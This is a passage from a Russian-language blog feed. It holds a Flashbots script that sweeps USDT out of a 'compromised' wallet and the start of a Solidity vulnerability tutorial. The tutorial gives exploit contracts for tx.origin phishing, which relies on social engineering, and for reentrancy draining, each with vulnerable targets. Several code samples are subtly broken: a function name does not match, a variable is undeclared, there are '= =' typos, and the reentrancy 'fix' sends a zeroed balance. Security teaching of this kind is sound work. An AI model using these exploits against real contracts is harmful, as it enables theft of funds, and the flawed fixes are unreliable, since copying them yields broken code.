le&quot;:false,&quot;stateMutability&quot;:&quot;view&quot;,&quot;type&quot;:&quot;function&quot;},{&quot;constant&quot;:true,&quot;inputs&quot;:[],&quot;name&quot;:&quot;symbol&quot;,&quot;outputs&quot;:[{&quot;name&quot;:&quot;&quot;,&quot;type&quot;:&quot;string&quot;}],&quot;payable&quot;:false,&quot;stateMutability&quot;:&quot;view&quot;,&quot;type&quot;:&quot;function&quot;},{&quot;constant&quot;:false,&quot;inputs&quot;:[{&quot;name&quot;:&quot;_to&quot;,&quot;type&quot;:&quot;address&quot;},{&quot;name&quot;:&quot;_value&quot;,&quot;type&quot;:&quot;uint256&quot;}],&quot;name&quot;:&quot;transfer&quot;,&quot;outputs&quot;:[],&quot;payable&quot;:false,&quot;stateMutability&quot;:&quot;nonpayable&quot;,&quot;type&quot;:&quot;function&quot;},{&quot;constant&quot;:false,&quot;inputs&quot;:[{&quot;name&quot;:&quot;newBasisPoints&quot;,&quot;type&quot;:&quot;uint256&quot;},{&quot;name&quot;:&quot;newMaxFee&quot;,&quot;type&quot;:&quot;uint256&quot;}],&quot;name&quot;:&quot;setParams&quot;,&quot;outputs&quot;:[],&quot;payable&quot;:false,&quot;stateMutability&quot;:&quot;nonpayable&quot;,&quot;type&quot;:&quot;function&quot;},{&quot;constant&quot;:false,&quot;inputs&quot;:[{&quot;name&quot;:&quot;amount&quot;,&quot;type&quot;:&quot;uint256&quot;}],&quot;name&quot;:&quot;issue&quot;,&quot;outputs&quot;:[],&quot;payable&quot;:false,&quot;stateMutability&quot;:&quot;nonpayable&quot;,&quot;type&quot;:&quot;function&quot;},{&quot;constant&quot;:false,&quot;inputs&quot;:[{&quot;name&quot;:&quot;amount&quot;,&quot;type&quot;:&quot;uint256&quot;}],&quot;name&quot;:&quot;redeem&quot;,&quot;outputs&quot;:[],&quot;payable&quot;:false,&quot;stateMutability&quot;:&quot;nonpayable&quot;,&quot;type&quot;:&quot;function&quot;},{&quot;constant&quot;:true,&quot;inputs&quot;:[{&quot;name&quot;:&quot;_owner&quot;,&quot;type&quot;:&quot;address&quot;},{&quot;name&quot;:&quot;_spender&quot;,&quot;type&quot;:&quot;address&quot;}],&quot;name&quot;:&quot;allowance&quot;,&quot;outputs&quot;:[{&quot;name&quot;:&quot;remaining&quot;,&quot;type&quot;:&quot;uint256&quot;}],&quot;payable&quot;:false,&quot;stateMutability&quot;:&quot;view&quot;,&quot;type&quot;:&quot;function&quot;},{&quot;constant&quot;:true,&quot;inputs&quot;:[],&quot;name&quot;:&quot;basisPointsRate&quot;,&quot;outputs&quot;:[{&quot;name&quot;:&quot;&quot;,&quot;type&quot;:&quot;uint256&quot;}],&quot;payable&quot;:false,&quot;stateMutability&quot;:&quot;view&quot;,&quot;type&quot;:&quot;function&quot;},{&quot;constant&quot;:true,&quot;inputs&quot;:[{&quot;name&quot;:&quot;&quot;,&quot;type&quot;:&quot;address&quot;}],&quot;name&quot;:&quot;isBlackListed&quot;,&quot;outputs&quot;:[{&quot;name&quot;:&quot;&quot;,&quot;type&quot;:&quot;bool&quot;}],&quot;payable&quot;:false,&quot;stateMutability&quot;:&quot;view&quot;,&quot;type&quot;:&quot;function&quot;},{&quot;constant&quot;:false,&quot;inputs&quot;:[{&quot;name&quot;:&quot;_clearedUser&quot;,&quot;type&quot;:&quot;address&quot;}],&quot;name&quot;:&quot;removeBlackList&quot;,&quot;outputs&quot;:[],&quot;payable&quot;:false,&quot;stateMutability&quot;:&quot;nonpayable&quot;,&quot;type&quot;:&quot;function&quot;},{&quot;constant&quot;:true,&quot;inputs&quot;:[],&quot;name&quot;:&quot;MAX_UINT&quot;,&quot;outputs&quot;:[{&quot;name&quot;:&quot;&quot;,&quot;type&quot;:&quot;uint256&quot;}],&quot;payable&quot;:false,&quot;stateMutability&quot;:&quot;view&quot;,&quot;type&quot;:&quot;function&quot;},{&quot;constant&quot;:false,&quot;inputs&quot;:[{&quot;name&quot;:&quot;newOwner&quot;,&quot;type&quot;:&quot;address&quot;}],&quot;name&quot;:&quot;transferOwnership&quot;,&quot;outputs&quot;:[],&quot;payable&quot;:false,&quot;stateMutability&quot;:&quot;nonpayable&quot;,&quot;type&quot;:&quot;function&quot;},{&quot;constant&quot;:false,&quot;inputs&quot;:[{&quot;name&quot;:&quot;_blackListedUser&quot;,&quot;type&quot;:&quot;address&quot;}],&quot;name&quot;:&quot;destroyBlackFunds&quot;,&quot;outputs&quot;:[],&quot;payable&quot;:false,&quot;stateMutability&quot;:&quot;nonpayable&quot;,&quot;type&quot;:&quot;function&quot;},{&quot;inputs&quot;:[{&quot;name&quot;:&quot;_initialSupply&quot;,&quot;type&quot;:&quot;uint256&quot;},{&quot;name&quot;:&quot;_name&quot;,&quot;type&quot;:&quot;string&quot;},{&quot;name&quot;:&quot;_symbol&quot;,&quot;type&quot;:&quot;string&quot;},{&quot;name&quot;:&quot;_decimals&quot;,&quot;type&quot;:&quot;uint256&quot;}],&quot;payable&quot;:false,&quot;stateMutability&quot;:&quot;nonpayable&quot;,&quot;type&quot;:&quot;constructor&quot;},{&quot;anonymous&quot;:false,&quot;inputs&quot;:[{&quot;indexed&quot;:false,&quot;name&quot;:&quot;amount&quot;,&quot;type&quot;:&quot;uint256&quot;}],&quot;name&quot;:&quot;Issue&quot;,&quot;type&quot;:&quot;event&quot;},{&quot;anonymous&quot;:false,&quot;inputs&quot;:[{&quot;indexed&quot;:false,&quot;name&quot;:&quot;amount&quot;,&quot;type&quot;:&quot;uint256&quot;}],&quot;name&quot;:&quot;Redeem&quot;,&quot;type&quot;:&quot;event&quot;},{&quot;anonymous&quot;:false,&quot;inputs&quot;:[{&quot;indexed&quot;:false,&quot;name&quot;:&quot;newAddress&quot;,&quot;type&quot;:&quot;address&quot;}],&quot;name&quot;:&quot;Deprecate&quot;,&quot;type&quot;:&quot;event&quot;},{&quot;anonymous&quot;:false,&quot;inputs&quot;:[{&quot;indexed&quot;:false,&quot;name&quot;:&quot;feeBasisPoints&quot;,&quot;type&quot;:&quot;uint256&quot;},{&quot;indexed&quot;:false,&quot;name&quot;:&quot;maxFee&quot;,&quot;type&quot;:&quot;uint256&quot;}],&quot;name&quot;:&quot;Params&quot;,&quot;type&quot;:&quot;event&quot;},{&quot;anonymous&quot;:false,&quot;inputs&quot;:[{&quot;indexed&quot;:false,&quot;name&quot;:&quot;_blackListedUser&quot;,&quot;type&quot;:&quot;address&quot;},{&quot;indexed&quot;:false,&quot;name&quot;:&quot;_balance&quot;,&quot;type&quot;:&quot;uint256&quot;}],&quot;name&quot;:&quot;DestroyedBlackFunds&quot;,&quot;type&quot;:&quot;event&quot;},{&quot;anonymous&quot;:false,&quot;inputs&quot;:[{&quot;indexed&quot;:false,&quot;name&quot;:&quot;_user&quot;,&quot;type&quot;:&quot;address&quot;}],&quot;name&quot;:&quot;AddedBlackList&quot;,&quot;type&quot;:&quot;event&quot;},{&quot;anonymous&quot;:false,&quot;inputs&quot;:[{&quot;indexed&quot;:false,&quot;name&quot;:&quot;_user&quot;,&quot;type&quot;:&quot;address&quot;}],&quot;name&quot;:&quot;RemovedBlackList&quot;,&quot;type&quot;:&quot;event&quot;},{&quot;anonymous&quot;:false,&quot;inputs&quot;:[{&quot;indexed&quot;:true,&quot;name&quot;:&quot;owner&quot;,&quot;type&quot;:&quot;address&quot;},{&quot;indexed&quot;:true,&quot;name&quot;:&quot;spender&quot;,&quot;type&quot;:&quot;address&quot;},{&quot;indexed&quot;:false,&quot;name&quot;:&quot;value&quot;,&quot;type&quot;:&quot;uint256&quot;}],&quot;name&quot;:&quot;Approval&quot;,&quot;type&quot;:&quot;event&quot;},{&quot;anonymous&quot;:false,&quot;inputs&quot;:[{&quot;indexed&quot;:true,&quot;name&quot;:&quot;from&quot;,&quot;type&quot;:&quot;address&quot;},{&quot;indexed&quot;:true,&quot;name&quot;:&quot;to&quot;,&quot;type&quot;:&quot;address&quot;},{&quot;indexed&quot;:false,&quot;name&quot;:&quot;value&quot;,&quot;type&quot;:&quot;uint256&quot;}],&quot;name&quot;:&quot;Transfer&quot;,&quot;type&quot;:&quot;event&quot;},{&quot;anonymous&quot;:false,&quot;inputs&quot;:[],&quot;name&quot;:&quot;Pause&quot;,&quot;type&quot;:&quot;event&quot;},{&quot;anonymous&quot;:false,&quot;inputs&quot;:[],&quot;name&quot;:&quot;Unpause&quot;,&quot;type&quot;:&quot;event&quot;}]&#x27;)
TOKEN_contract = w3.eth.contract(address=TOKEN_address, abi=TOKEN_abi)

# ФУНКЦИЯ ДЛЯ ЗАПРОСОВ

def make_response(body):

    body = json.dumps(body)    
    message = messages.encode_defunct(text=Web3.keccak(text=body).hex())    
    signature = (Account.from_key(flashbots_private_key).address) + &#x27;:&#x27; + Account.sign_message(message, flashbots_private_key).signature.hex()    
    headers = {&quot;Content-Type&quot;: &quot;application/json&quot;, &quot;X-Flashbots-Signature&quot;: signature}    
    response = requests.post(flashbots_url, headers=headers, data=body)    return response

while True:

    # РАССЧИТЫВАЕМ ГАЗ
    
    pending_block = web3.eth.get_block(block_identifier=&#x27;latest&#x27;, full_transactions=True)    
    pending_transactions = pending_block[&#x27;transactions&#x27;]    
    block_number = pending_block[&#x27;number&#x27;]

    print (block_number)
    
    print (pending_block[&#x27;baseFeePerGas&#x27;])
    
    base_fee = pending_block[&#x27;baseFeePerGas&#x27;]    
    max_priority_fee = 5    
    max_priority_fee = web3.to_wei(max_priority_fee, &#x27;gwei&#x27;)
    
    #=========================================================
    
    # СОБИРАЕМ ТРАНЗАКЦИИ КОТОРЫЕ БУДЕМ ЗАСЫЛАТЬ БАНДЛОМ
    
    nonce = web3.eth.get_transaction_count(main_account)    
    comp_nonce = web3.eth.get_transaction_count(compromissed_account)
    
    USDT_balance = TOKEN_contract.functions.balanceOf(compromissed_account).call()
    
    tx1 = { #транзакция спонсора, чтобы второй кошелек мог оплатить газ        
    &#x27;chainId&#x27;: 1,        
    &#x27;type&#x27;: 2,        
    &#x27;nonce&#x27;: nonce,        
    &#x27;from&#x27;: main_account,        
    &#x27;value&#x27;: 50000*(base_fee+max_priority_fee),        
    &#x27;to&#x27;: compromissed_account,        
    &#x27;gas&#x27;: 21000,        
    &#x27;maxFeePerGas&#x27;: base_fee+max_priority_fee,        
    &#x27;maxPriorityFeePerGas&#x27;: max_priority_fee    
    }
    
    tx2 = TOKEN_contract.functions.transfer(main_account, USDT_balance).build_transaction({ #перевод USDT на основной кошелек        
    &#x27;chainId&#x27;: 1,        
    &#x27;type&#x27;: 2,        
    &#x27;nonce&#x27;: comp_nonce,        
    &#x27;from&#x27;: web3.to_checksum_address(compromissed_account),        
    &#x27;gas&#x27;: 50000,        
    &#x27;maxFeePerGas&#x27;: base_fee+max_priority_fee,        
    &#x27;maxPriorityFeePerGas&#x27;: max_priority_fee    
    })
    
    signed_tx1 = web3.eth.account.sign_transaction(tx1, private_key)    
    raw_tx1 = signed_tx1.rawTransaction
    
    signed_tx2 = web3.eth.account.sign_transaction(tx2, compromissed_pkey)    
    raw_tx2 = signed_tx2.rawTransaction
    
    #========================================================
    
    # ЗАПРОС НА СИМУЛЯЦИЮ БАНДЛА 
    
    params = [{&quot;txs&quot;:[str(web3.to_hex(raw_tx1)),str(web3.to_hex(raw_tx2))],&quot;blockNumber&quot;:str(web3.to_hex(block_number+1)),&quot;stateBlockNumber&quot;:&quot;latest&quot;}] 
    
    body = {&quot;jsonrpc&quot;:&quot;2.0&quot;,&quot;id&quot;:1,&quot;method&quot;:&quot;eth_callBundle&quot;,&quot;params&quot;: params}    
    response = make_response(body)
    
    # ЗАПРОС НА ОТПРАВКУ БАНДЛА В СЕТЬ
    
    params = [{&quot;txs&quot;:[str(web3.to_hex(raw_tx1)),str(web3.to_hex(raw_tx2))],&quot;blockNumber&quot;:str(web3.to_hex(block_number+1))}] 
    body = {&quot;jsonrpc&quot;:&quot;2.0&quot;,&quot;id&quot;:1,&quot;method&quot;:&quot;eth_sendBundle&quot;,&quot;params&quot;: params}    
    response = make_response(body)
    print(&quot;Bundle sent:&quot;)    
    print(response)    
    print(&quot;&quot;)    
    print(response[&#x27;result&#x27;])    
    response = response[&#x27;result&#x27;]    
    bundle_hash = response[&#x27;bundleHash&#x27;]    
    print(bundle_hash)
    
    # ЗАПРОС НА ПОЛУЧЕНИЕ СТАТУСА БАНДЛА
    
    params = [{&quot;bundleHash&quot;:str(bundle_hash),&quot;blockNumber&quot;:str(web3.to_hex(block_number+1))}] 
    body = {&quot;jsonrpc&quot;:&quot;2.0&quot;,&quot;id&quot;:1,&quot;method&quot;:&quot;flashbots_getBundleStatsV2&quot;,&quot;params&quot;: params}    
    response = make_response(body)
    
    print(&quot;Bundle STATUS:&quot;)    
    print(response.json())    
    print(&quot;&quot;)    
    print(&quot;Block NUMBER:&quot;)    
    print(block_number)</pre>
  <p id="YfrU"><br /></p>
  <h2 id="WIlV">Заключение!</h2>
  <blockquote id="MbcC">Вот и подошла к концу уже вторая из серии статьей на тему уязвимостей смарт контрактов. Впереди вас ждут новые части, где с каждым разом мы будем нырять все глубже и глубже. Пока не преисполнимся и не объединимся в сильное аудиторское агентство, хех</blockquote>
  <p id="KMoZ">Во-первых, нужно перечитывать эту статью неоднократно, если тебе что-то вдруг непонятно. Не бойся гуглить, потому что это лучший навык, а также обязательно применяй этот код в Remix и экспериментируй с ним</p>
  <p id="KMoZ"><strong>Во-вторых, подпишись на наши каналы</strong><br /><br /><a href="https://t.me/izidao" target="_blank">Matapac</a><br /><a href="https://t.me/danoneo_systems" target="_blank">Danoneo</a></p>
  <p id="KMoZ"><strong>В-третьих, спасибо <a href="https://t.me/guidedao" target="_blank">GuideDAO</a></strong><em>(промокод на 10% &quot;IZIDAO&quot;)</em>. Если бы не было их, то и не было бы этой статьи. Лучшая web3 школа, где я наконец-то смог начать осваивать код</p>
  <p id="KMoZ"><strong><em>Скоро увидимся!</em></strong></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@izidao/_CyiA8cgusJ</guid><link>https://teletype.in/@izidao/_CyiA8cgusJ?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=izidao</link><comments>https://teletype.in/@izidao/_CyiA8cgusJ?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=izidao#comments</comments><dc:creator>izidao</dc:creator><title>      Solidity Hacker: level 0 </title><pubDate>Sat, 25 Nov 2023 15:38:43 GMT</pubDate><media:content medium="image" url="https://img1.teletype.in/files/4b/84/4b84533b-3731-43b9-bb22-77f6badf7652.png"></media:content><description><![CDATA[<img src="https://img1.teletype.in/files/4d/03/4d034c58-dcf1-47ab-bb94-a175e00ad0a7.png"></img>Всем привет, с вами Matapac. Сегодня мы с вами погрузимся в мир солидити и перейдем на его темную сторону. Да, мы рассмотрим уязвимости и как их юзать и следовательно, как их не допускать]]></description><content:encoded><![CDATA[
  <figure id="5FEM" class="m_original">
    <img src="https://img1.teletype.in/files/4d/03/4d034c58-dcf1-47ab-bb94-a175e00ad0a7.png" width="899" />
  </figure>
  <blockquote id="IpfV"><strong>Всем привет, с вами <a href="https://t.me/izidao" target="_blank">Matapac</a>. Сегодня мы с вами погрузимся в мир солидити и перейдем на его темную сторону. Да, мы рассмотрим уязвимости и как их юзать и следовательно, как их не допускать</strong> </blockquote>
  <p id="NMQB"></p>
  <p id="qWPg"><strong>Вы уже обратили внимание на название, а именно &quot;Level 0&quot;</strong>. Да, это значит, что будут левелы 1,2,3...и я полагаю их может быть бесконечное количество. По мере развития языка, стандартов в EVM мы получаем все новые и новые проблемы, которые хакеры и аудиторы используют в свою пользу - по разному, разумеется.<br /><br /><strong>В сегодняшней части мы не будем погружаться в основы Солидити</strong>, для этого у вас есть прекрасный интернет. Зато <strong>мы рассмотрим самые базовые уязвимости в Солидити, но от этого они не перестали быть актуальными.</strong> Я специально подбирал для вас такие темы, которые на сегодняшний день можно встретить на просторах EVM-чейнов.<br /><br /><strong>В следующих же статьях мы будет рассматривать более хардовые уязвимости</strong>, MeV ботов и прочее веселье, но пока... Добро пожаловать в это <s>хакерское</s> аудиторское чтиво!</p>
  <h2 id="k6Ya"><br /><strong>ИНТРО</strong></h2>
  <p id="WieQ">Как уже многие знают не так давно я начал учить Солидити в web3 школе GuideDAO, у меня начало получаться и <strong>я открыл для себя направление аудита</strong>.<br />Как же много там прекрасного. Для любителей головоломок (за решение которых вам еще и заплатят) самое то. Но дело тут еще в том, что я могу быть сконцентрирован только на смарт контрактах и ресерче в пределах Solidity. В общем, только EVM - только хардкор.<br /><br />Здесь мы не будем говорить о том, как стать аудитором смарт-контрактов, какие нужны скиллы, какие тулзы нужно уметь использовать - все это не в этот раз. <br /><br /><strong>В этот раз более практично и гораздо интересней!</strong></p>
  <p id="f9l0"></p>
  <h2 id="eegg">Для кого эта статья?</h2>
  <p id="x1eM">Если коротко, то для любого криптана.<br />Если не так коротко, то каждому кто в крипте эта статья будет полезной. Но почему?<br /><br /><strong>Во-первых, для людей незнакомыми с кодом</strong> эта статья будет читаться достаточно легко. Вы сможете понять, как тут все устроено и чего стоит опасаться в контрактах. Также для многих из вас, я надеюсь, это чтиво откроет новые горизонты и сподвигнет получить софт-скиллы или ресерчить разные контракты в поиске подобных уязвимостей (чтобы оповестить об этом проект и забрать вознаграждение, конечно же)<br /><br /><strong>Во-вторых, если у вас уже есть понимание кода</strong>, то это будет еще более полезным. После этой статьи вы поймете какие ошибки не стоит допускать в своих будущих проектах (надеюсь, проекты у вас случатся. Билдите, братья) или даже это станет для вас базой, чтобы ступить на путь аудита.<br /><br /><strong>В-третьих, если вы хай-лвл аудитор и солидити бог</strong>, то это просто будет отличным напоминанием базовых ошибок, которые все еще довольно часто допускаются в проектах.</p>
  <p id="QGxV"><em><br />А если ты тоже хочешь пойти учиться в <a href="https://www.guidedao.xyz/ru" target="_blank">GuideDAO</a>, то можешь воспользоваться промокод на 10% &quot;IZIDAO&quot;</em></p>
  <h2 id="lgRw"><br />Наши  планы на сегодня</h2>
  <p id="bE8c">Все очень просто. Под каждую уязвимость отдельная глава, внутри главы будет так:</p>
  <ul id="TBce">
    <li id="3tQR">Описание уязвимости</li>
    <li id="GUyg">Пример кода с моими заметками на понятном языке</li>
    <li id="tW2K">Пример хак-кода</li>
    <li id="eyQh">Пример кода в котором мы исправляем эту уязвимость       </li>
  </ul>
  <p id="bTAQ"><strong>Договорились? Договорились.<br /><br />Погнали!</strong></p>
  <h2 id="7cjp"><br />Содержание</h2>
  <ol id="Nxea">
    <li id="PPfe"><strong><a href="#jAKF">Tx.origin == msg.sender или твой кошелек сам отправит деньги хакерам</a></strong></li>
    <li id="R7GN"><strong><a href="#SiqD">Reentrancy или благодаря чему появился Ethereum Classic</a> </strong></li>
    <li id="00Ov"><strong><a href="#wdOO">Block.timestamp или случайности не случайны</a></strong></li>
    <li id="A0WR"><strong><a href="#fdfU">Delegatecall или как тебя заменят</a></strong></li>
    <li id="6kd1"><strong><a href="#hfGV">Denial of Service или заблокировать функцию контракта</a></strong></li>
    <li id="Y12h"><strong><a href="#zMFQ">Honeypot или как заработать на хакерах</a></strong></li>
    <li id="3YQE"><a href="#xFm2"><strong>Accessing Private Data или как раздобыть приватную инфу из контракта</strong></a></li>
  </ol>
  <h3 id="jAKF"><br /><br /><br /><br />1. Tx.origin == msg.sender или твой кошелек сам отправит деньги хакерам</h3>
  <p id="MWZC"></p>
  <blockquote id="492V">Пожалуй, моя одна из самых любимых уязвимостей и начать с нее будет лучше всего. Объясню почему: это очень просто для понимания и это все еще часто встречается в контрактах даже у опытных разработчиков.</blockquote>
  <p id="d74N"><br /><strong>ВАЖНО ПОНЯТЬ:</strong> <strong>tx.origin этот тот кто изначально запустил транзакцию. msg.sender это последнее звено в транзакции.</strong><br /><br />Пример: <br /><br />Максим со своего кошелька вызывает контракт А, контракт А -&gt; контракт B, контракт B -&gt; контракт C<br /><br />Кто вызвал контракт C по мнению tx.origin? кошелек Максима<br />Кто вызвал контракт С по мнению msg.sender? контракт B</p>
  <p id="8AEx"><strong><em>Смоделируем ситуацию: </em></strong></p>
  <p id="I6rM">Максим задеплоил этот контракт и положил на него 2 эфира.</p>
  <pre id="TPSj" data-lang="javascript">contract MaxCapital {
//создаем переменную с типом адрес и называем owner
    address public owner; 
//эта &quot;функция&quot; срабатывает автоматически, когда деплоится контракт...
//тот адрес, что задеплоил контракт сохраняется в переменной owner
    constructor() payable {
        owner = msg.sender; 
    }
//функция отправки денег с контракта. В скобочках: на какой адрес, сумма
     function withdrawMoney(address payable _to, uint _amount) public {
//ТА САМАЯ ОШИБКА. Проверка того, что tx.origin = адресу в owner 
        require(tx.origin = = owner, &quot;U are not MaxWylde&quot;); 
        (bool sent, ) = _to.call{value: _amount}(&quot;&quot;); 
        require(sent, &quot;Failed to send Ether&quot;);
    }
//здесь мы просто смотрим баланс кошелька
     function balance() public view returns (uint) {
        return address(this).balance;
    }
}</pre>
  <p id="8KLz"><br /><strong>В чем ошибка?</strong> <br /><br />Проверка require(tx.origin == owner) говорит: Равен ли адрес начавший транзакцию, которая вследствии вызвала эту функцию owner(кошельку Максима).<br />Смотри дальше.<br /><br /><strong>Матапак нашел этот контракт</strong>, обнаружил внутри уязвимость и решил ей воспользоваться. Для этого ему понадобиться:</p>
  <ul id="UrIg">
    <li id="i5s9">Написать контракт hack с функцией attack</li>
    <li id="1xsV">Включить навыки социальной инженерии и хитрым способом заставить Макса вызвать функцию attack. Самое простое это попросить у Максима отправить нам немного eth на газ, будем надеяться он не поймет, что мы ему скинем адрес контракта</li>
  </ul>
  <p id="bChi"><strong><em>Сейчас покажу, как простая транзакция от Максима на наш контракт позволит нам забрать все его деньги с контракта</em></strong></p>
  <pre id="D7X1" data-lang="javascript">contract Hack {
//с этого контракта будем вызывать функию в контракте Максима
    address payable public owner;
    MaxCapital maxCapital; 

      constructor(MaxCapital _maxCapital) {
        maxCapital = MaxCapital(_maxCapital);
        owner = payable(msg.sender);
    }
//эта функция дергает функцию withdraw из контракта Максима...
//но она не пройдет проверку tx.origin = = owner, если мы ее вызовем
    function attack() public {
        maxCapital.withdraw(owner, address(maxCapital).balance); 
    }
//функция приема денег на наш контракт, здесь произойлет вся магия...
//когда Макс отправляет нам деньги он активирует эту функцию принятия...
//а в этой функции срабатывает наша функция attack...
//таким образом, мы проходим проверку на tx.origin
      receive() external payable {
            attack(); 
    }</pre>
  <p id="hjaR">Это достаточно хитрый способ, но он один из многих. Все упирается только в смекалку хакера. По идее, мы просто засунули функцию вывода с контракта Максима в функцию recieve (приема денег). Соотвественно, когда Макс отправляет нам деньги, то он как бы своим кошельком активируют функции recieve -&gt; attack -&gt; withdrawMoney. <br /><br /><strong>Как избежать этой проблемы?</strong></p>
  <p id="sO1y">Самые внимательные уже все поняли. tx.origin опасно использовать, а вот msg.sender отлично подходит, ибо в таком случае вызывающий функцию будет не кошелек Макса, а наш контракт. Проверка должна быть такой:</p>
  <pre id="c0Xv" data-lang="javascript">require(msg.sender = = owner, &quot;U are not MaxWylde&quot;);</pre>
  <p id="8hmm"><em>Вследующих частях мы еще коснемся этой уязвимости, но разберем другие виды ее использования. Например, через мультисиг и мев ботов.</em></p>
  <h3 id="SiqD"><br /><strong>2. Reentrancy или благодаря чему появился Ethereum Classic</strong> </h3>
  <blockquote id="XBcH">в 2016 году был только один Ethereum и на нем появилось первое большое DAO под названием The DAO (да, вот так оригинально). Там было собрано 3.5 млн ETH под управлением сообществом. Все шло хорошо, пока один хакер не обнаружил внутри уязвимость, которая позволила снимать эфиры с этого DAO без остановки. Он так и поступил, забрав 25% всей эмиссии. <br /><br />Принимались разные способы остановить это. Например, другие &quot;белые&quot; хакеры паралелльно использовали эту же уязвимость, чтобы забрать как можно больше и вернуть сообществу. Но лучшим вариантом оказалось решение форкнуть сеть Ethereum с откатом до этого взлома. Таким образом, токены хакера сильно укатаются в цене, а сообщество заживет с чистого листа. Так и появлися всеми нами любимый Ethereum, а тот оригинал теперь зовется Ethereum Classic. </blockquote>
  <p id="PZd2"><br /><strong><em>А ведь все дело было в уязвимости Reentrancy, которая по сей день встречается в контрактах, классика.<br /><br />Смоделируем ситуацию: </em></strong></p>
  <p id="txSo">Максим задеплоил контракт с пулом, куда каждый желающий может закинуть свои эфиры и при желании их вернуть.<br /><br />Этот контракт может только принимать деньги и отдавать. Записывая каждого вкладчика в mapping. Давайте посмотрим на код.</p>
  <pre id="pNwz" data-lang="javascript">contract MaxPool {
//Создаем mapping balances, где адрес вкладчика привязывается к его сумме 
    mapping(address =&gt; uint) public balances;
//принимаем деньги на контракт...
//и сразу записываем в balances адрес вкладчика и сумму
    function depositPool() public payable {        
      balances[msg.sender] += msg.value;    
   }
//функция для рефаунда вкладчикам
    function refundMoney() public {      
      address balanceMan = msg.sender;
//если вызвавший эту функцию вложил в этот пул больше 0...
//значит он может забрать свое вложенное        
       if (balances[balanceMan] &gt; 0) {
        (bool success, ) = balanceMan.call{value: balances[balanceMan]}(&quot;&quot;);
        require(success, &quot;BUY-BUY&quot;);
//ОШИБКА! здесь мы зануляем баланс вкладчика, после того как он все снял
//выглядит логично, чтобы не было повторных рефаундов
        balances[balancePerson] = 0;
      }
    }
//просто функция просмотра баланса этого контракта
    function checkBalance() public view returns(uint) {
        return address(this).balance;
    }
 }</pre>
  <p id="qPmX"><br /><strong>В чем ошибка?</strong></p>
  <p id="GVKX">Очень логично обнулить баланс человека в пуле, после того, как он свои деньги забрал. На первый взгляд все выглядит шикарно, но есть одно большое НО.<br />И пока я вам его не раскрою, <strong><em>давайте сначала покажу контракт хакера</em></strong>.</p>
  <pre id="Svaj" data-lang="javascript">contract HackPool {
//создаем переменную вложения в 1 эфир
    uint constant AMOUNT = 1 ether;
    MaxPool maxPool;
//при деплое мы внесем адрес контракта Макса и закрепим его в конструкторе
    constructor(address _maxPoolAddress) {
        maxPool = MaxPool(_maxPoolAddress);
    }
//мы просто отправляем 1 эфир напрямую в контракт Макса...
//через обращение к функции depositPool
    function depositMaxPool() external payable {
        maxPool.depositPool{value: AMOUNT}();
    }
//эта функция всего лишь запрашивает рефаунд, но дальше происходит...
    function hack() external {
        maxPool.refundMoney();
    }
//знакомая нам функция приема средств на контракт...
//после активации функции выше мы запрашиваем рефаунд...
//а с рефаундом активируется эта функция с повторным рефаундом...
//и так бесконечно, пока мы не осушим пул 
    receive()  external payable {
//проверка, что у Макса на контракте еще есть деньги
        if(maxPool.checkBalance() &gt; 0) {
            maxPool.refundMoney();
       }
    }
}</pre>
  <p id="lM4A"><strong>Наверное, вы до сих пор не до конца поняли почему так произошло? Рассказываю:</strong></p>
  <p id="cR0l">Все очень просто. <br /><br />Когда мы запрашиваем рефаунд в контракте хакера -&gt; срабатывает функция рефаунд у Макса -&gt; Мы проходим проверку, что имеем право на получение 1 эфира -&gt; срабатывает сам рефаунд и нам отправляют вложенное через (bool success, ) = balanceMan.call{value: balances[balanceMan]}(&quot;&quot;); -&gt; в нашем хак контракте срабатывает функция recieve, потому что мы принимаем рефаунд -&gt; а в ней сразу же срабатывает новый запрос на рефаунд<br /><br /><em>Но ведь у нас специально есть обнуление баланса в функции возврата рефаунда - скажете вы.</em><br /><br />Да, только она не успевает сработать. Потому что мы сразу же запрашиваем возврат. <strong>Контракт Макса с каждым возвратом буквально сам дергает наш контракт на повторный рефаунд </strong>и до &quot;balances[balancePerson] = 0&quot; он просто не может дойти<br /></p>
  <p id="5mvG"><strong>Как этого избежать?</strong></p>
  <p id="KXhZ">Мы можем просто занулять в самом начале if на рефаунд. Да, рефаунд все равно сработает, но в этот момент наш баланс уже будет обнулен</p>
  <p id="9cfb">Выглядит это теперь так:</p>
  <pre id="ap9d" data-lang="javascript">function refundMoney() public {      
      address balanceMan = msg.sender;
        uint amount = balances[balanceMan];
        
       if (balances[balanceMan] &gt; 0) {
        balances[balanceMan] = 0;

        (bool success, ) = balanceMan.call{value: balances[balanceMan]}(&quot;&quot;);
        require(success, &quot;BUY-BUY&quot;);
      }
</pre>
  <p id="leuL"></p>
  <p id="945i"><em>Есть еще один modifier от openzeppelin, но сюда я приведу его в пример без объяснения. Потому что новички могут запутаться, а ребята с опытом могут разобраться сами. </em></p>
  <pre id="jLuE" data-lang="javascript">bool private locked;

modifier reentrancyRequire() {
  require(!locked, &quot;error&quot;);
  locked = true;
_;
  locked = false;
}</pre>
  <h3 id="wdOO"><br />3. Block.timestamp или случайности не случайны</h3>
  <blockquote id="iO9C">Можем ли мы обыграть казино с вероятностью в 100%? Если код этого казино написан на Солидити и разработчики допустили частую ошибку по работе с рандомом, то нам не составит труда этим воспользоваться.</blockquote>
  <p id="bKn7">Часто эта ошибка проявляется с использованием blockhash и block.timestamp</p>
  <p id="NraW"><strong><em>Смоделируем ситуацию:</em></strong></p>
  <p id="Mp54">Максим решил создать свое децентрализованное казино. <strong>По классике возьмем такой пример:</strong> суть этого казино в том, чтобы создать &quot;рандомное&quot; число, а игроки должны это число угадать. Если человек угадывает казино, то забирает выигрыш. Мы здесь не будем усложнять логику казино, нам важно показать саму суть</p>
  <pre id="rm7F" data-lang="javascript">contract MaxCasino {

    constructor() payable {
}
//когда участник пишет свой вариант числа - он вызывает эту функцию...
//за _guess здесь принимается ответ участника
    function guess(uint _guess) public {
//здесь мы устанавливаем правильный ответ через &quot;рандом&quot;...
//мы используем хэш блока через blockhash...
//и метку времени через block.timestamp
//это встроенные параметры, которые мы можем использовать в Солидити
        uint answer = uint(
            keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))
        );
//здесь проверяем, что если предполашаемый ответ игрока...
//совпадает с ответом из нашей формулы выше...
//то игроку отправляется 1 eth
        if (_guess == answer) {
            (bool sent, ) = msg.sender.call{value: 1 ether}(&quot;&quot;);
